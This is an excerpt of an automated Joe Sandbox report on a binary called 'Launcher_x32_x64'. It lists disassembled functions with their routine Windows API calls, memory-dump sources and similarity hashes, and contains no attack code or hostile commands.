String ID: D:\a\_work\1\s\src\coreclr\vm\threads.cpp
API String ID: 31276548-1819033804
Opcode ID: f1a9d57322961d88a2321abff1ee39fb8fb4ea050edbb9832685269975ba57e7
Instruction ID: e3d146619102e2099db59c00a3b37b6385ee2b384b1b95307ad31d1f22bf7b67
Opcode Fuzzy Hash: f1a9d57322961d88a2321abff1ee39fb8fb4ea050edbb9832685269975ba57e7
Instruction Fuzzy Hash: 2121E534A002098BDF24EA69D4A4FADB7E9EF54334F084199D8418B352EB75DD42D790

Function 00EF4460 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?,00000000,00000000,?,0113DD23,00000001,00000000,0113DBE0,00000000,00000000), ref: 00EF446A

Part of subcall function 00F52B30: GetLastError.KERNEL32(95E4D7D1,?,00000000), ref: 00F52B62
Part of subcall function 00F52B30: _swprintf.LIBCMT ref: 00F52B99
Part of subcall function 00F52B30: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 00F52BD9
Part of subcall function 00F52B30: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000), ref: 00F52C14
Part of subcall function 00F52B30: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F52C5A

Strings

ResumeThread, xrefs: 00EF4479

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapLastResumeThread_swprintf
String ID: ResumeThread
API String ID: 1738802777-947044025
Opcode ID: d42f1d44454572dc4d9cb78b457b5a645ade509721bdc424ca60582f4f660a81
Instruction ID: 5054b5309c820b17caf62a197d0cf5efbc2b05bd617fb0a7b75a9d765c19ca1f
Opcode Fuzzy Hash: d42f1d44454572dc4d9cb78b457b5a645ade509721bdc424ca60582f4f660a81
Instruction Fuzzy Hash: E9D0A773B00020178110266D68084E7A71DCBD22B2725433AF761D72D4CA604C4213E0

Function 00EF5D70 Relevance: 3.2, APIs: 2, Instructions: 179threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA9F0: VirtualQuery.KERNEL32(?,?,0000001C,?,?,00EF5DD5,?,95E4D7D1,?), ref: 00EFAA0F

GetCurrentThreadId.KERNEL32 ref: 00EF5EFF
SetEvent.KERNEL32(03A42950,?,95E4D7D1,?), ref: 00EF602C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CurrentEventQueryThreadVirtual
String ID:
API String ID: 2478193043-0
Opcode ID: 3ab21950bb33c771aa6b3678a36c62cca78af942ec572ed9f11157b6ea55385f
Instruction ID: 8caaddfed7b0a9f02c27afe6bfb2d6ae3293742179de35af4679c7e3313510f5
Opcode Fuzzy Hash: 3ab21950bb33c771aa6b3678a36c62cca78af942ec572ed9f11157b6ea55385f
Instruction Fuzzy Hash: 8271BE72A00609CFDB14DF68D4857AEBBF4FF14318F2450ADEA05AB392DB75A905CB90

Function 00E48A30 Relevance: 3.2, APIs: 2, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00E48A6D
HeapFree.KERNEL32(00000000,00000006,00000000,?,00000006,00000000,?), ref: 00E48BBF

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap___from_strstr_to_strchr
String ID:
API String ID: 1887983760-0
Opcode ID: 324a60bc2a902394eb6f66f8085089b3ad83fa421361ed586eb415a1f86372f1
Instruction ID: 0a11e8efd1d2c98e13a06177e2825fba81261b7441e20cfc33d1f9f9c01a3532
Opcode Fuzzy Hash: 324a60bc2a902394eb6f66f8085089b3ad83fa421361ed586eb415a1f86372f1
Instruction Fuzzy Hash: 5B510AB5A002199FCF24CF94D994BAEBBB8FF08758F14461AE915FB790DB70A901CB50

Function 0AF40D00 Relevance: 3.2, APIs: 2, Instructions: 156networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI ref: 0AF40D69
GetNetworkParams.IPHLPAPI ref: 0AF40DA5

Memory Dump Source

Source File: 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AF30000, based on PE: true

Associated: 00000000.00000002.1820144055.000000000AF30000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820189425.000000000AF5C000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820207590.000000000AF5D000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820224153.000000000AF5F000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af30000_Launcher_x32_x64.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: ae714e475a5078855e01ce472d0c73a1717386efd9e6ada8bf5beb418f3656bd
Instruction ID: 5883d534e6f4de2f7b83d1e1745e45cc81a7b91d5e2c35801f89388f6ea01e9e
Opcode Fuzzy Hash: ae714e475a5078855e01ce472d0c73a1717386efd9e6ada8bf5beb418f3656bd
Instruction Fuzzy Hash: A361E131D003099FDB09DBA4E498ADDBBB2FF89311F148169EA56A7660DB346C86CF50

Function 00EF9230 Relevance: 3.1, APIs: 2, Instructions: 113threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EF9258
CoRegisterInitializeSpy.OLE32(00000000,?,?,?), ref: 00EF9304

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CurrentInitializeRegisterThread
String ID:
API String ID: 3977203164-0
Opcode ID: ad6fec5b796e9593a30cc5ecc37c3372a401b8ff500d07065209790e6d668120
Instruction ID: f183d71c5105a35024e104891235d9ea731a80a45c96d69ae93f0fbbfe583b53
Opcode Fuzzy Hash: ad6fec5b796e9593a30cc5ecc37c3372a401b8ff500d07065209790e6d668120
Instruction Fuzzy Hash: 5541C471905748DBD715CF68D8007AABBF8EB45718F10435EE855E7380D7B99A00C780

Function 01147AE0 Relevance: 3.1, APIs: 2, Instructions: 71threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,01148660,00000000,00000000,00000000), ref: 01147B73
FindCloseChangeNotification.KERNELBASE(00000000), ref: 01147B8A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ChangeCloseCreateFindNotificationThread
String ID:
API String ID: 4060959955-0
Opcode ID: 6ff0afd683dd5856eb2c504e46daa26c63d20790d8e1d1aee651f0211598cfff
Instruction ID: b659a89fbaa07251fd9e1e6e4075e4fe00341aa87135c33a6188726e8c78b385
Opcode Fuzzy Hash: 6ff0afd683dd5856eb2c504e46daa26c63d20790d8e1d1aee651f0211598cfff
Instruction Fuzzy Hash: 4A3168B0A04249EFEB14CF98D855BAEBBB8FB05714F20816AE904A7381D7756A05CB90

Function 01086B90 Relevance: 3.0, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 6fd331b915a78680c01a69758f587c982128d07eb5778eb23b762b74ddc18097
Instruction ID: 28913f944a0e17e1f7a0bfb879e6837e00a51a64373131af19d5df1b6f0c861a
Opcode Fuzzy Hash: 6fd331b915a78680c01a69758f587c982128d07eb5778eb23b762b74ddc18097
Instruction Fuzzy Hash: DE01F730708209EFDB11BBBED888B5777EDEB45618F1080A6F5C8C7615EB35D84047A0

Function 01086C40 Relevance: 3.0, APIs: 2, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(95E4D7D1,?,00000000,013264F0,000000FF,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C6E
RtlAllocateHeap.NTDLL(03A20000,00000000,?,95E4D7D1,?,00000000,013264F0,000000FF,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C8A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: c38eb461c87e887e2698de0272989786d00a7271d99265a1c6b1c076a10f3c98
Instruction ID: f192a894fbdf4a125e3cd4c146755d369da27c3c4edb6c564982dacd0c81ac46
Opcode Fuzzy Hash: c38eb461c87e887e2698de0272989786d00a7271d99265a1c6b1c076a10f3c98
Instruction Fuzzy Hash: 0F01A271A48654EFD732DB6CE894B6677ECEB09A24F10426AE855D7780DB369800CB90

Function 00E4D4F0 Relevance: 2.7, APIs: 2, Instructions: 199COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,95E4D7D1,95E4D7D1,95E4D7D1,?,00000000,00000000,95E4D7D1,?,00000000), ref: 00E4D57E
LeaveCriticalSection.KERNEL32(?,95E4D7D1,00000000), ref: 00E4D6FE

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 07806ec89bc6a989351b6e89b3eec89f961195f4b867546b74742bfb3af08ec2
Instruction ID: 0fbece508aee70dde88325500fa34c32f03a83b4549e7ea7e470d4eb3b2d2b75
Opcode Fuzzy Hash: 07806ec89bc6a989351b6e89b3eec89f961195f4b867546b74742bfb3af08ec2
Instruction Fuzzy Hash: 1171B071A04209DFCB20DF58D884BAEFBB4FF49318F14825EE914A7391D775A905CB90

Function 010C5250 Relevance: 2.6, APIs: 2, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(95E4D7D1,00000000), ref: 010C5297
HeapAlloc.KERNEL32(03A20000,00000000,00000054,95E4D7D1,00000000), ref: 010C52B4

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 7425ac5f84de055f92ea81b965c04c96ccf7de7d809bd53f6b2163e39cbe54e2
Instruction ID: 02603ade94eb4ebdb4e3b9d1f20367e80fb416f652dd110eda5ebe14fb83b7b5
Opcode Fuzzy Hash: 7425ac5f84de055f92ea81b965c04c96ccf7de7d809bd53f6b2163e39cbe54e2
Instruction Fuzzy Hash: 6B41F270A04745DBDB21CF69C88475EBBF5AB45B24F10825EE9519B381C7B99A01CFD0

Function 0ADD8820 Relevance: 1.9, Instructions: 1896COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489b3c1bdb824dc987664c0caab93c202303bbc421f855b4dd220a899c11b5d0
Instruction ID: d53436fe9334e7c76103b7519ac6a5f20516dbdc2716cb8a6af3bdf423ab3a0f
Opcode Fuzzy Hash: 489b3c1bdb824dc987664c0caab93c202303bbc421f855b4dd220a899c11b5d0
Instruction Fuzzy Hash: 9303F8347613169FDB22DF61D88DB9AB771FB89701F1045A4EA09AB394DBB06D81CF80

Function 010CDE10 Relevance: 1.7, APIs: 1, Instructions: 222COMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,014B9E54,014B9E52,00000004,00000000), ref: 010CDFCD

Part of subcall function 00E3F140: HeapFree.KERNEL32(00000000,?,?,?,?,95E4D7D1), ref: 00E3F18B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeapwcscpy_s
String ID:
API String ID: 1989758669-0
Opcode ID: 1d744e25f2af5474abf5d18e5fd914474e86d46d6d79041c15b41770619e0f24
Instruction ID: f3e0b4b5c5c310da7b34c2da95dbf119a5767c84143ea4c967b648b96a9481d1
Opcode Fuzzy Hash: 1d744e25f2af5474abf5d18e5fd914474e86d46d6d79041c15b41770619e0f24
Instruction Fuzzy Hash: 66B14670906269DFDB24DF68D99879DBBB0EB08304F1482E9D849AB391D7795F84CF80

Function 00F4F240 Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32(95E4D7D1,80131500,0A552458,01000200), ref: 00F4F3AC

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 0ba2090adb46c35c493e969cadbc72c1521a91d51745df2eac9d257318b3dda3
Instruction ID: a2454dcb7b574792b2d9ff5172412ecf53454a6c2db3e076f176eaefc0e326c0
Opcode Fuzzy Hash: 0ba2090adb46c35c493e969cadbc72c1521a91d51745df2eac9d257318b3dda3
Instruction Fuzzy Hash: 2651E475A00205DFCB25CF98D884BAEBBF8FB49724F14426AE815A73A0D7796905CF90

Function 00EF6540 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,00010004,?), ref: 00EF6593

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 61c66be8e708fa11700f8d051e2ab7b76eebdad084243a90db6b815f8f0ca1df
Instruction ID: 7fa514a6a70ddaa2cb641ae1f96423e8946956297cdb6b889548cdbd213af3bd
Opcode Fuzzy Hash: 61c66be8e708fa11700f8d051e2ab7b76eebdad084243a90db6b815f8f0ca1df
Instruction Fuzzy Hash: 5901F9726002195FD721DE28D800BEAB7E8EF48365F00412AFE58EB284EB71EC50C7D1

Function 00ED9D70 Relevance: 1.5, APIs: 1, Instructions: 257COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(014B0B50,?,?,0A52DBD0,0A52DBD0), ref: 00ED9EC1

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: e775eb2180011783e31dd6231bd6ef0737e0edf20f63db068c9d7be27e49283a
Instruction ID: 4f9f25eb3e2e5b3c55b889f57d0cc50224ae0258cdd65cc9d4749b43087d8a2a
Opcode Fuzzy Hash: e775eb2180011783e31dd6231bd6ef0737e0edf20f63db068c9d7be27e49283a
Instruction Fuzzy Hash: 23A1C030A042458FCB29DF64C894BBEBBF1EF45318F08516ED805A7392CB79AD46CB91

Function 00FC28B0 Relevance: 1.5, APIs: 1, Instructions: 222COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 00FC2B03

Memory Dump Source

